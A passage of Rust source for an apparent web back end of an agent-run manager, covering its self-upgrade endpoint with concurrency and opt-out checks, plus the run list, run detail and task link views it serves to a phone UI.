3595            's' => 1,
3596            'm' => 60,
3597            'h' => 3600,
3598            'd' => 86400,
3599            _ => return None,
3600        };
3601        total = total.checked_add(amount.checked_mul(scale)?)?;
3602        rest = rest[n + 1..].trim_start();
3603    }
3604    Some(total)
3605}
3606
3607#[derive(Debug, Clone, Serialize)]
3608struct UpgradeRequestFailure {
3609    occurred_at: String,
3610    error: String,
3611    retry_after_secs: Option<u64>,
3612    /// Unix seconds; independent of the phone's polling cadence.
3613    retry_at: Option<u64>,
3614}
3615
3616impl UpgradeRequestFailure {
3617    fn new(error: String) -> Self {
3618        let retry_after_secs = upgrade_retry_after(&error);
3619        let now = std::time::SystemTime::now()
3620            .duration_since(std::time::UNIX_EPOCH)
3621            .unwrap_or_default()
3622            .as_secs();
3623        Self {
3624            occurred_at: jiff::Timestamp::now().to_string(),
3625            error,
3626            retry_after_secs,
3627            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3628        }
3629    }
3630}
3631
3632/// `POST /api/upgrade` - replace this binary with the newest release and come
3633/// back on it.
3634///
3635/// Replace the installed binary, restart the detached scheduler, release the
3636/// web listener, then start the successor. Active task and conversation
3637/// workers retain their immutable executable and continue without parking.
3638///
3639/// A legacy embedded scheduler is the only incompatible owner: its work
3640/// must finish or park before the first migration replaces its process.
3641///
3642/// Answers **202**: the reply has to reach the phone while this process can
3643/// still send one, and the phone learns the deck is back by reconnecting.
3644async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3645    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3646}
3647
3648async fn begin_upgrade(
3649    ui: &Arc<Ui>,
3650    trigger: updater::UpgradeTrigger,
3651    latest: Option<kaishin::LatestRelease>,
3652) -> Response {
3653    let reading = daemon::read_status(&ui.home);
3654    if let Some(other) = Foreign::of(reading.as_ref()) {
3655        return ApiError::conflict(format!(
3656            "{} is a legacy scheduler without detached restart support. \
3657             Finish or explicitly park its work in the existing UI before \
3658             this first migration; independent schedulers do not need this.",
3659            other.who()
3660        ))
3661        .into_response();
3662    }
3663
3664    // A second upgrade while one is moving would replace the binary and
3665    // signal the handover again after `serve` already consumed the first
3666    // signal, leaving the process in `replaced` forever. Try-lock rather than
3667    // wait: a phone connection must not hang behind a GitHub round trip.
3668    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3669        return ApiError::conflict("another request is already preparing an upgrade")
3670            .into_response();
3671    };
3672    // Hold the same gate through recording/clearing the request outcome, so
3673    // an older response cannot overwrite a retry's result.
3674    if trigger == updater::UpgradeTrigger::Auto {
3675        let cfg = match Config::discover(&ui.repo, None) {
3676            Ok((cfg, _)) => cfg,
3677            Err(e) => {
3678                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3679            }
3680        };
3681        let Some(latest) = latest else {
3682            return StatusCode::NO_CONTENT.into_response();
3683        };
3684        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3685            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3686        let decision = {
3687            let failed = ui
3688                .auto_failed_tag
3689                .lock()
3690                .unwrap_or_else(PoisonError::into_inner);
3691            auto_upgrade_decision(
3692                &cfg.update,
3693                updater::disabled_by_env(),
3694                in_motion,
3695                &latest.tag_name,
3696                failed.as_deref(),
3697            )
3698        };
3699        if let AutoUpgradeDecision::Skip(reason) = decision {
3700            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3701            return StatusCode::NO_CONTENT.into_response();
3702        }
3703        return finish_upgrade_request(
3704            ui,
3705            upgrade_checked_for(
3706                ui,
3707                env!("CARGO_PKG_VERSION").into(),
3708                Ok(Some(latest)),
3709                trigger,
3710            ),
3711        );
3712    }
3713    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3714}
3715
3716fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3717    match result {
3718        Ok(out) => {
3719            *ui.upgrade_request_error
3720                .lock()
3721                .unwrap_or_else(PoisonError::into_inner) = None;
3722            out.into_response()
3723        }
3724        Err(error) if error.status != StatusCode::CONFLICT => {
3725            let failure = UpgradeRequestFailure::new(error.message);
3726            *ui.upgrade_request_error
3727                .lock()
3728                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3729            let mut response = (error.status, Json(&failure)).into_response();
3730            if let Some(value) = failure
3731                .retry_after_secs
3732                .and_then(|secs| secs.to_string().parse().ok())
3733            {
3734                response.headers_mut().insert("retry-after", value);
3735            }
3736            response
3737        }
3738        Err(error) => error.into_response(),
3739    }
3740}
3741
3742async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3743    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3744        return Err(ApiError::conflict(
3745            "an upgrade is already in progress (this process started one and it \
3746             has not finished or failed yet)",
3747        ));
3748    }
3749    let recorded = updater::read_progress(&ui.home);
3750    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3751        return Err(ApiError::conflict(format!(
3752            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3753             stays stuck, restart the deck; on start it settles a stale record.",
3754            p.stage.as_str(),
3755            p.from,
3756            p.to.as_deref().unwrap_or("?"),
3757        )));
3758    }
3759
3760    // The same kill switch the background check honours (`disabled_by_env`),
3761    // checked before anything else for the same reason it is read before the
3762    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3763    // contact GitHub from this process", and a button press must not
3764    // override that any more than a broken `magi.toml` may.
3765    if crate::updater::disabled_by_env() {
3766        return Ok((
3767            StatusCode::OK,
3768            Json(UpgradeView {
3769                from: env!("CARGO_PKG_VERSION").to_owned(),
3770                to: None,
3771                detail: format!(
3772                    "Automatic updates are disabled by {}. Nothing was parked \
3773                     and nothing restarted.",
3774                    crate::updater::NO_AUTOUPDATE_ENV
3775                ),
3776            }),
3777        ));
3778    }
3779
3780    // Check before disturbing listeners or scheduling: no available update
3781    // means there is no reason to restart anything.
3782    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3783    let from = env!("CARGO_PKG_VERSION").to_owned();
3784    let latest = match crate::updater::Checker::new(&cfg.update) {
3785        Some(checker) => checker.newer_release().await,
3786        None => Ok(None),
3787    };
3788    upgrade_checked(ui, from, latest)
3789}
3790
3791fn upgrade_checked(
3792    ui: &Arc<Ui>,
3793    from: String,
3794    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3795) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3796    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3797}
3798
3799fn upgrade_checked_for(
3800    ui: &Arc<Ui>,
3801    from: String,
3802    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3803    trigger: updater::UpgradeTrigger,
3804) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3805    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3806    let Some(latest) = latest else {
3807        return Ok((
3808            StatusCode::OK,
3809            Json(UpgradeView {
3810                from,
3811                to: None,
3812                detail: "Already on the newest release. Nothing was parked \
3813                         and nothing restarted."
3814                    .to_owned(),
3815            }),
3816        ));
3817    };
3818
3819    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3820        let detail = format!("cannot determine scheduler restart state: {error:#}");
3821        if trigger == updater::UpgradeTrigger::Auto {
3822            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3823        }
3824        return Err(ApiError::internal(detail));
3825    }
3826    if trigger == updater::UpgradeTrigger::Auto {
3827        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3828    }
3829
3830    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3831
3832    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3833    // poll must see a `Downloading` stage immediately, not whenever the
3834    // spawned task happens to get scheduled.
3835    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3836    progress.trigger = trigger;
3837    updater::write_progress_logged(&ui.home, &progress);
3838
3839    let home = ui.home.clone();
3840    ui.upgrade_spawned
3841        .store(true, std::sync::atomic::Ordering::SeqCst);
3842    let spawned = Arc::clone(&ui.upgrade_spawned);
3843    let runner = ui.upgrade_runner;
3844    let failed = ui.auto_failed_tag.clone();
3845    let tag = latest.tag_name.clone();
3846    tokio::spawn(async move {
3847        if let Err(e) = runner(home.clone()).await {
3848            if trigger == updater::UpgradeTrigger::Auto {
3849                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3850            }
3851            tracing::error!("the upgrade did not complete: {e:#}");
3852            // A failure of this attempt says nothing about a handover an
3853            // earlier request already has in flight; checked and written
3854            // under the progress lock.
3855            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3856            // Release only after failure bookkeeping, before accepting a retry.
3857            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3858        }
3859    });
3860
3861    Ok((
3862        StatusCode::ACCEPTED,
3863        Json(UpgradeView {
3864            from,
3865            to: Some(latest.tag_name),
3866            detail,
3867        }),
3868    ))
3869}
3870
3871/// Replace the binary, then ask [`serve`] to hand the address over.
3872///
3873/// Separated from the handler so the 202 is already on its way, and separated
3874/// from the spawn so the successor starts only after the listener is dropped.
3875async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3876    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3877    // hang the upgrade for as long as the process lives.
3878    crate::updater::run_self_update(true, false, true).await?;
3879    updater::log_step(&home, "binary replaced - recording the replaced stage");
3880    if let Some(mut progress) = updater::read_progress(&home) {
3881        progress.advance(updater::Stage::Replaced);
3882        updater::write_progress_logged(&home, &progress);
3883    }
3884    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3885    HANDOVER.notify_one();
3886    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3887    Ok(())
3888}
3889
3890/// One row in the run list.
3891///
3892/// The list route returns this rather than whole `RunState`s: the summary of a
3893/// run is a few hundred bytes and the state is megabytes, and the difference
3894/// is what makes the history usable on a mobile link.
3895#[derive(Debug, Serialize)]
3896struct RunSummary {
3897    activity: String,
3898    id: String,
3899    short: String,
3900    status: String,
3901    done: bool,
3902    instruction: String,
3903    title: String,
3904    repo: String,
3905    repo_name: String,
3906    created_at: String,
3907    updated_at: String,
3908    candidates: usize,
3909    viable: usize,
3910    judges: usize,
3911    winner: Option<char>,
3912    reviews: usize,
3913    quota_losses: usize,
3914    event: Option<String>,
3915    /// The later attempt at the same task that replaced this one, if any.
3916    ///
3917    /// Two cards with one title is otherwise unreadable: this is what lets
3918    /// the deck say "superseded by 4043" on the older of the pair.
3919    superseded_by: Option<String>,
3920    /// Blocked on a question nobody has answered.
3921    ///
3922    /// Derived from the question store rather than stored on the run: an agent
3923    /// calling `magi ask` blocks mid-node, and writing a status from there
3924    /// would race the graph's own save of `run.json` and be overwritten at the
3925    /// next node boundary. Asking the store is always true and never races.
3926    waiting: bool,
3927    /// Whether the process recorded as driving this run can still be proven
3928    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3929    /// rather than presenting its last graph node as still in flight.
3930    live: crate::run::Liveness,
3931    /// The land loop's last look at the pull request, when there is one.
3932    pr: Option<crate::run::PrRecord>,
3933    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3934    /// design — never picked up by the PR-polling merge watcher, unlike an
3935    /// ordinary `Ready` that may still be a live landing candidate. See
3936    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3937    /// re-deriving the same check from `status` and `merge.mode` itself.
3938    unmerged_by_design: bool,
3939    /// Derived presentation status matching [`RunDetailView::display_status`].
3940    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3941    #[serde(default)]
3942    display_status: String,
3943    /// What the status badge shows: `display_status`, or `superseded` for a
3944    /// non-live run a later attempt replaced. See [`run_badge_status`].
3945    #[serde(default)]
3946    badge_status: String,
3947    /// Who started the run, as the one label every surface shares; the
3948    /// "origin unknown" wording when the record predates origins.
3949    origin_label: String,
3950}
3951
3952impl RunSummary {
3953    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3954        Self {
3955            activity: crate::run_progress::activity(state, live, waiting),
3956            id: state.id.clone(),
3957            short: state.short().to_owned(),
3958            status: status_word(state.status),
3959            done: state.status.done(),
3960            unmerged_by_design: state.unmerged_by_design(),
3961            display_status: run_display_status(state, waiting, live),
3962            badge_status: run_display_status(state, waiting, live),
3963            instruction: state.instruction.clone(),
3964            title: title_from(&state.instruction, TITLE_MAX),
3965            repo: state.repo.display().to_string(),
3966            repo_name: state
3967                .repo
3968                .file_name()
3969                .map(|n| n.to_string_lossy().into_owned())
3970                .unwrap_or_default(),
3971            created_at: state.created_at.to_string(),
3972            updated_at: state.updated_at.to_string(),
3973            candidates: state.candidates.len(),
3974            viable: state.viable().len(),
3975            judges: state.config.graph.judges,
3976            winner: state.winner().map(|c| c.label),
3977            reviews: state.reviews.len(),
3978            quota_losses: state.quota.len(),
3979            event: state
3980                .verification_blocking_cause()
3981                .or_else(|| state.events.last().map(|e| e.message.clone())),
3982            waiting,
3983            live,
3984            // Filled in by the list route, which is the only place that can
3985            // see a task's other attempts.
3986            superseded_by: None,
3987            pr: state.pr.clone(),
3988            origin_label: crate::run::origin_label(state.origin.as_ref()),
3989        }
3990    }
3991}
3992
3993/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3994/// the same string `serde` writes for the status inside a full run.
3995fn status_word(status: RunStatus) -> String {
3996    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3997    // was a third way of naming the same statuses, and one that changed
3998    // silently with a derive.
3999    status.as_str().to_owned()
4000}
4001
4002/// The presentation status for a run, unified across summaries and details.
4003///
4004/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
4005/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
4006/// runs awaiting operator answers.
4007fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
4008    if waiting {
4009        return "waiting".to_owned();
4010    }
4011    if state.unmerged_by_design() {
4012        return "unmerged".to_owned();
4013    }
4014    if !state.status.done() && live == crate::run::Liveness::Dead {
4015        // The driver claim clears this flag before saving another event.
4016        // A previous park event can therefore outlive a resumed driver.
4017        if state.parked {
4018            return "parked".to_owned();
4019        }
4020        return "stale".to_owned();
4021    }
4022    status_word(state.status)
4023}
4024
4025/// The word a run's status badge shows: `display_status`, except that a
4026/// non-terminal run which is not provably live and was replaced by a later
4027/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
4028///
4029/// Same judgement `magi show` uses (`RunState::liveness`, the task's
4030/// successor); a live driver, `Unknown` liveness and terminal runs keep their
4031/// own word, so superseded never claims more than "not live".
4032fn run_badge_status(
4033    state: &RunState,
4034    display_status: &str,
4035    live: crate::run::Liveness,
4036    superseded: bool,
4037) -> String {
4038    if state.status.done() || live == crate::run::Liveness::Live {
4039        return display_status.to_owned();
4040    }
4041    if superseded {
4042        return "superseded".to_owned();
4043    }
4044    // A dead run's `display_status` is `stale`, except that a deliberate park
4045    // and an open owner question keep their own word: neither is a crash, and
4046    // the question still needs an answer. Anything else dead reads `stale`.
4047    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
4048        return "stale".to_owned();
4049    }
4050    display_status.to_owned()
4051}
4052
4053/// `?limit=`, clamped by the handler.
4054#[derive(Debug, Deserialize)]
4055struct ListQuery {
4056    #[serde(default)]
4057    limit: Option<usize>,
4058    /// Exact ids only; an empty value requests no rows (except queue blockers).
4059    ids: Option<String>,
4060}
4061
4062impl ListQuery {
4063    fn contains(&self, id: &str) -> bool {
4064        self.ids
4065            .as_ref()
4066            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
4067    }
4068}
4069
4070async fn runs_list(
4071    State(ui): State<Arc<Ui>>,
4072    Query(q): Query<ListQuery>,
4073) -> ApiResult<Json<Vec<RunSummary>>> {
4074    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
4075    blocking(move || {
4076        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4077        let states = run_ids(&ui.runs)
4078            .into_iter()
4079            // A run whose state cannot be read is skipped, not fatal: a run
4080            // killed mid-write must not blank the history of every other one.
4081            // The detail route still explains it, which is where an operator
4082            // asking "what happened to that run" ends up.
4083            .filter_map(|id| read_run(&ui.runs, &id).ok())
4084            .take(limit)
4085            .filter(|run| q.contains(&run.id));
4086        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4087        let summaries = summarize(
4088            states,
4089            &open_runs,
4090            &claimed,
4091            &superseded,
4092            |p| probe.borrow_mut().status(p),
4093            |p| probe.borrow_mut().started_at(p),
4094        );
4095        Ok(Json(summaries))
4096    })
4097    .await
4098}
4099
4100/// Everything the per-run rows share, read once: runs with an open question,
4101/// runs a live daemon claims, and the superseded map. Asking per run re-read
4102/// every question file and the daemon status file for each of hundreds of
4103/// runs, and spawned a process probe per run on Windows.
4104fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4105    let open_runs: HashSet<String> = ui
4106        .questions
4107        .list()
4108        .into_iter()
4109        .filter(|q| q.status.open())
4110        .map(|q| q.run)
4111        .collect();
4112    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4113        .into_iter()
4114        .map(|c| c.run)
4115        .collect();
4116    (open_runs, claimed, ui.queue.superseded())
4117}
4118
4119/// The rows of the run list, given everything that is shared between them.
4120///
4121/// Pure over its inputs so a test can count how often the process queries are
4122/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4123/// takes, called at most once per run.
4124fn summarize<I, S, D>(
4125    states: I,
4126    open_runs: &HashSet<String>,
4127    claimed: &HashSet<String>,
4128    superseded: &HashMap<String, String>,
4129    mut status_q: S,
4130    mut identity_q: D,
4131) -> Vec<RunSummary>
4132where
4133    I: IntoIterator<Item = RunState>,
4134    S: FnMut(u32) -> Option<bool>,
4135    D: FnMut(u32) -> Option<String>,
4136{
4137    states
4138        .into_iter()
4139        .map(|state| {
4140            let waiting = open_runs.contains(&state.id);
4141            let live =
4142                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4143            let mut row = RunSummary::of(&state, waiting, live);
4144            row.superseded_by = state
4145                .pr_taken_over_by
4146                .as_ref()
4147                .or_else(|| superseded.get(&state.id))
4148                .map(String::as_str)
4149                .map(crate::run::short_of)
4150                .map(str::to_owned);
4151            row.badge_status = run_badge_status(
4152                &state,
4153                &row.display_status,
4154                live,
4155                row.superseded_by.is_some(),
4156            );
4157            row
4158        })
4159        .collect()
4160}
4161
4162/// A run as the detail route hands it to the phone.
4163///
4164/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4165/// the instruction as markdown, and the raw `instruction` field this struct
4166/// still carries (unchanged) is what a client wanting the exact bytes reads
4167/// instead.
4168#[derive(Debug, Serialize)]
4169struct RunDetailView {
4170    progress: crate::run_progress::Progress,
4171    stop_reason: Option<String>,
4172    #[serde(flatten)]
4173    state: RunState,
4174    instruction_md: Vec<md::Node>,
4175    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4176    /// mirror the records they come from, index for index; the raw strings
4177    /// stay in `state` and decide whether a block is shown at all.
4178    #[serde(flatten)]
4179    prose_md: RunProseMd,
4180    /// Whether a process is actually still driving this run: `"live"`,
4181    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4182    ///
4183    /// `state.active` (flattened in above) is only ever cleared by the
4184    /// process that populated it; a killed one leaves its last wave's
4185    /// entries behind. Carrying this alongside is what lets the phone rail
4186    /// tell "this seat is still answering" from "this seat was still
4187    /// answering when whatever was driving this run died" without a second
4188    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4189    /// proof of either. A string rather than a bool on purpose: a daemon
4190    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4191    /// and neither proven is `"unknown"` — folding that third case into
4192    /// either end of a bool is exactly the wrong call for a phone screen an
4193    /// operator uses to decide whether to wait or to act.
4194    live: crate::run::Liveness,
4195    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4196    /// alongside the flattened `state` rather than inside it, since
4197    /// `RunState` has no business knowing which of its own methods a caller
4198    /// wants serialized.
4199    unmerged_by_design: bool,
4200    /// Same field and meaning as [`RunSummary::waiting`].
4201    #[serde(default)]
4202    waiting: bool,
4203    /// Same derived presentation status as [`RunSummary::display_status`].
4204    #[serde(default)]
4205    display_status: String,
4206    /// Same field and meaning as [`RunSummary::badge_status`].
4207    #[serde(default)]
4208    badge_status: String,
4209    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4210    /// terminal. The client's `landView` keys on it, and the flattened state
4211    /// has no such field, so without it a finished run's stale `open` PR
4212    /// would be painted as live on the detail page.
4213    done: bool,
4214    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4215    /// route fills it from [`Queue::superseded`], the detail route from
4216    /// [`Queue::superseded_by`], and both read the same underlying task
4217    /// order. Without this the detail page could only ever show a red
4218    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4219    /// with nothing anywhere saying so — an operator opening it had no way
4220    /// to tell "this is done elsewhere" from "this still needs a retry".
4221    superseded_by: Option<String>,
4222    /// The task's current attempt, when this run is an older one — resolved
4223    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4224    /// the client to derive.
4225    ///
4226    /// Three things a client cannot safely do on its own drove this onto the
4227    /// server: it has to name the chain's *current head*, not just the next
4228    /// attempt (`superseded_by` above), because an intermediate retry in a
4229    /// longer chain can itself still be unresolved; it has to resolve to a
4230    /// real id rather than a short id a client would have to guess a full id
4231    /// from, which is ambiguous the moment two runs share a suffix; and it
4232    /// has to read that head's own status directly, because whether a run
4233    /// list a client happens to have cached even contains that attempt
4234    /// depends on a page limit this route knows nothing about.
4235    latest_attempt: Option<LatestAttempt>,
4236    /// The queue task this run belongs to, so the detail page can link back
4237    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4238    task: Option<TaskRef>,
4239    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4240    /// run recorded before origins existed. `origin` itself (flattened in
4241    /// with `state`) is `null` in that case.
4242    origin_label: String,
4243    /// Each recorded pass over this run, with the cause it stopped for. Empty
4244    /// for a run from before passes were kept: its earlier passes are unknown.
4245    pass_views: Vec<PassView>,
4246}
4247
4248/// A task named from a run's detail page.
4249#[derive(Debug, Serialize)]
4250struct TaskRef {
4251    id: String,
4252    short: String,
4253    title: String,
4254    /// [`Source::label`], e.g. `chat@a1b2`.
4255    source_label: String,
4256    /// Where the task came from, when that place has a page; see [`source_link`].
4257    source_link: Option<SourceLink>,
4258    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4259    status: &'static str,
4260    attempts: usize,
4261    max_attempts: usize,
4262    /// This run is the last entry of the task's run list.
4263    is_latest: bool,
4264    /// The task's newest run, when it is not this one.
4265    latest: Option<RunBrief>,
4266    /// The run that finished a `done` task (merged, or already in the base).
4267    finished_by: Option<RunBrief>,
4268    /// The task is `done` but no run on record finished it: closed by hand.
4269    closed_by_hand: bool,
4270}
4271
4272/// The page that filed a task, as the UI links to it.
4273#[derive(Debug, PartialEq, Eq, Serialize)]
4274struct SourceLink {
4275    /// `chat` (a conversation) or `run` (a run's node).
4276    kind: &'static str,
4277    /// The full id, never the short one in the label.
4278    id: String,
4279    /// The hash route that opens it.
4280    href: String,
4281}
4282
4283/// Percent-encode everything outside the URL-unreserved set.
4284fn encode_segment(raw: &str) -> String {
4285    let mut out = String::with_capacity(raw.len());
4286    for b in raw.bytes() {
4287        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4288            out.push(b as char);
4289        } else {
4290            out.push_str(&format!("%{b:02X}"));
4291        }
4292    }
4293    out
4294}
4295
4296/// The one place that decides where a task's source links to. A chat
4297/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4298/// a person or an imported issue has no page, so no link.
4299fn source_link(source: &Source) -> Option<SourceLink> {
4300    let Source::Agent { run, node } = source else {
4301        return None;
4302    };
4303    let (kind, route) = if node == crate::queue::CHAT_NODE {
4304        ("chat", "chat")
4305    } else {
4306        ("run", "runs")
4307    };
4308    Some(SourceLink {
4309        kind,
4310        id: run.clone(),
4311        href: id_links::page_href(route, run),
4312    })
4313}
4314
4315/// The parent task of a follow-up, when its file can still be read.
4316#[derive(Debug, Serialize, PartialEq)]
4317struct FollowUpParent {
4318    id: String,
4319    short: String,
4320    title: String,
4321    /// The parent's own status (`TaskStatus::as_str`).
4322    status: &'static str,
4323    href: String,
4324}
4325
4326/// The merged run a follow-up was filed from.
4327#[derive(Debug, Serialize, PartialEq)]
4328struct FollowUpRun {
4329    id: String,
4330    short: String,
4331    /// `None` when the run's record cannot be read.
4332    status: Option<&'static str>,
4333    /// `None` unless the record could be read: never a dead link.
4334    href: Option<String>,
4335}
4336
4337/// Where a follow-up task came from, resolved once per task page so the flow
4338/// chart and the detail block cannot disagree. See [`followup_origin`].
4339#[derive(Debug, Serialize, PartialEq)]
4340struct FollowUpOrigin {
4341    /// Present only when `origin_task` is set and that task still exists.
4342    parent: Option<FollowUpParent>,
4343    run: FollowUpRun,
4344    /// The merged pull request, verbatim. Not an href: the client passes it
4345    /// through `forgeUrl()` and renders text when that refuses it (the one
4346    /// exception to "the href rule is Rust's alone", since a forge URL is
4347    /// data from a record, not a route).
4348    pr: String,
4349    findings: Vec<String>,
4350    generation: u32,
4351}
4352
4353/// The one place that decides what a follow-up links to. A parent that cannot
4354/// be read (gone, or an id that names nothing) is `None`, never an error.
4355fn followup_origin(
4356    fu: &crate::queue::FollowUp,
4357    task: impl Fn(&str) -> Option<Task>,
4358    run: impl Fn(&str) -> Option<RunState>,
4359) -> FollowUpOrigin {
4360    let parent = fu
4361        .origin_task
4362        .as_deref()
4363        .and_then(task)
4364        .map(|t| FollowUpParent {
4365            short: t.short().to_owned(),
4366            href: format!("#/tasks/{}", encode_segment(&t.id)),
4367            status: t.status.as_str(),
4368            title: t.title,
4369            id: t.id,
4370        });
4371    let state = run(&fu.run);
4372    FollowUpOrigin {
4373        parent,
4374        run: FollowUpRun {
4375            short: run::short_of(&fu.run).to_owned(),
4376            status: state.as_ref().map(|s| s.status.as_str()),
4377            href: state
4378                .is_some()
4379                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4380            id: fu.run.clone(),
4381        },
4382        pr: fu.pr.clone(),
4383        findings: fu.findings.clone(),
4384        generation: fu.generation,
4385    }
4386}
4387
4388/// Another run of the same task, as named from a run's detail page.
4389#[derive(Debug, Serialize)]
4390struct RunBrief {
4391    id: String,
4392    short: String,
4393    /// `None` when the run's record cannot be read.
4394    status: Option<&'static str>,
4395    /// The task-page wording for how that pass ended.
4396    outcome: String,
4397    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4398    badge: Option<String>,
4399}
4400
4401/// The task's overall outcome as seen from `this_run`'s page, classified with
4402/// the same exits the task page's flowchart uses.
4403fn task_outcome(
4404    task: &Task,
4405    this_run: &str,
4406    max_attempts: usize,
4407    read: impl Fn(&str) -> Option<RunState>,
4408) -> TaskRef {
4409    let max_attempts = task.effective_attempt_limit(max_attempts);
4410    let history = task_history(task, read);
4411    let brief = |h: &TaskRunView| RunBrief {
4412        id: h.id.clone(),
4413        short: h.short.clone(),
4414        status: h.status,
4415        outcome: h.exit.edge_label(h.status),
4416        badge: h.badge.clone(),
4417    };
4418    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4419    let latest = if is_latest {
4420        None
4421    } else {
4422        history.last().map(brief)
4423    };
4424    let done = task.status == TaskStatus::Done;
4425    let finished_by = done
4426        .then(|| {
4427            history
4428                .iter()
4429                .rev()
4430                .find(|h| {
4431                    matches!(
4432                        h.exit,
4433                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4434                    )
4435                })
4436                .map(brief)
4437        })
4438        .flatten();
4439    TaskRef {
4440        short: task.short().to_owned(),
4441        title: task.title.clone(),
4442        id: task.id.clone(),
4443        source_label: task.source_label(),
4444        source_link: source_link(&task.source),
4445        status: task.status.as_str(),
4446        attempts: task.attempts,
4447        max_attempts,
4448        is_latest,
4449        latest,
4450        closed_by_hand: done && finished_by.is_none(),
4451        finished_by,
4452    }
4453}
4454
4455/// The task's current attempt, as seen from an older one's detail page.
4456#[derive(Debug, Serialize)]
4457struct LatestAttempt {
4458    id: String,
4459    short: String,
4460    /// Whether this attempt itself settled with a result nobody needs to
4461    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4462    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4463    /// unconfirmed claim that no change was needed, which is exactly why it
4464    /// settles the task through `Held` rather than `Done` and still waits on
4465    /// a human to check the evidence; showing an older run as "finished
4466    /// elsewhere" on the strength of an unverified claim would bury the
4467    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4468    /// in-flight status are excluded because they are exactly the
4469    /// unresolved states this field exists to tell apart from a real finish.
4470    resolved: bool,
4471    /// The attempt's own recorded status, so the page can say where it
4472    /// stands while it is not resolved yet.
4473    status: RunStatus,
4474    /// Whether that status is terminal (nothing is still running it).
4475    done: bool,
4476}
4477
4478/// Markdown for the free-text prose of a run, parallel to `RunState`.
4479#[derive(Debug, Default, Serialize)]
4480struct RunProseMd {
4481    /// `None` when the run has no design deliberation.
4482    advice_md: Option<AdviceMd>,
4483    /// One entry per candidate: the summary.
4484    candidate_summaries_md: Vec<Vec<md::Node>>,
4485    /// One entry per review round, in `reviews` order.
4486    reviews_md: Vec<RoundMd>,
4487}
4488
